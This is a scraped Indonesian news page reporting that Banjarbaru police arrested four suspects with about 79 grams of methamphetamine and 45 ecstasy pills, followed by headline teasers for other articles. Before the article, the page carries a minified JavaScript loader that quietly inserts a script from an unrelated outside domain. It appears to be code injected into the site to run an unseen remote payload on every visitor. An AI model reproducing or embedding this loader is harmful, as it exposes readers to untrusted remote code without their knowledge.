(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Satres Narkoba Polres Banajarbaru berhasil mengamankan 79,53 gram sabu-sabu dan 45 butir inek. Adapun barang terlarang ini hasil penangkapan terhadap 3 orang pelaku bersama 1 orang diduga sebagai pemodal.
Kapolres Banjarbaru AKBP Kelana Jaya melalui Kasat Narkoba Polres Banjarbaru, AKP Elche Angelina, para tersangka diamankan di tempat berbeda. Awal pengungkapan berawal dari diamankannya Ahmad Hariz Pathony (22), warga Jl Pembangunan RT 004 RW 002 Kelurahan Landasan Ulin Tengah, Kecamatan Liang Anggang.
“Tersangka pertama ini diamankan pada 24 April. Tersangka diamankan atas laporan warga yang merasa curiga gerak-gerik pelaku. Menanggapi laporan tersebut, anggota mengamankan tersangka di jalan Kasturi II Kelurahan Syamsudin Noor bersama 1 paket sabu,†ucap Elche.
Dari tangan pelaku Hariz ditemukan 1 paket sabu-sabu dengan berat 0,29 gram bersama barang lainnya.
Dari kasus tersebut, Satresnarkoba Polres Banjarbaru melakukan pengembangan. Di hari yang sama, diungkap jaringan lainnya yakni Muhammad Fauzi (25), warga jalan Sutoyo S, Gang Mulia RT 036 RW 003 Kelurahan Teluk Dalam, Kecamatan Banjarmasin Tengah.
Tersangka diamankan disebuah rumah yang beralamat di komplek Tiara Permai RT 04 RW 02 Desa Manarap Baru, Kecamatan Kertak Hanyar.
“Fauzi kita amankan di sebuah rumah. Dari tangan pelaku didapat selembar plastik klip yang didalamnya terdapat sabu 79,24 gram yang bungkusnya bertuliskan 100,107. Tersangka ini diamankan dari pengembangan kasus Haris yang sebelumnya kita tangkap,†beber Elche.
Tak hanya sampai di situ, kasus tersebut masih dikembangkan lagi, hingga buntutnya mengarah kepada Moh Syaiful Arif (35) dan Fauzi (42).
Arif diamankan pada 25 April 2019 di Jalan Veteran gang Dwikora R, Sungai Bilu, Banjarmasin. Dari tersangka, didapat ineks sebanyak 45 butir yang terdiri 35 butir inek warna biru dan 10 butir inek warna pink.
“Kemudian Fauzi (42) sebagai sebagai pemodal dari 3 tersangka yang kita amankan di Jalan Gubernur Soebarjo RT 10 RW 003 Kelurahan Landasan Ulin Barat, Kecamatan Liang Anggang. Dari Fauzi didapati alat pipet kaca yang didalamnya tersisa sabu-sabu,†jelasnya.
Untuk saat ini seluruh tersangka dan semua barang bukti sudah diamankan di Polres Banjarbaru guna proses lebih lanjut. (rico)
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
This website uses cookies.